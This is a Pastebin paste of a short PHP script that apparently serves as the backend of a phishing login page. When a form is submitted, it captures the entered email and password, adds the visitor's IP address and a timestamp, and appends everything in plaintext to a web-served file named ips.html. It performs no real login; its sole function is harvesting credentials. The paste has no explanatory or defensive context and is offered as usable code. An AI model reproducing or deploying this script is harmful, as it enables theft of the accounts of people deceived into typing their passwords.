Guest User

Untitled

a guest
Dec 1st, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. <?php
  2.  
  3. // if the login button is clicked
  4. if ($_POST[&#039;submit&#039;]) {
  5.  
  6. // Grab Username & Password from POST
  7. $useremail = $_POST[&#039;useremail&#039;];
  8. $password = $_POST[&#039;password&#039;];
  9.  
  10.  
  11. // Save Information to ips.html
  12. $ip = $_SERVER[&#039;REMOTE_ADDR&#039;];
  13. $datetime = date("d-m-y / H:i:s");
  14. $invoegen = $datetime . " - " . $ip . "Username: " . $useremail . " Password: " . $password . "<br />";
  15. $fopen = fopen("ips.html", "a");
  16. fwrite($fopen, $invoegen);
  17. fclose($fopen);
  18. }
  19.  
  20.  
  21. ?>
Add Comment
Please, Sign In to add comment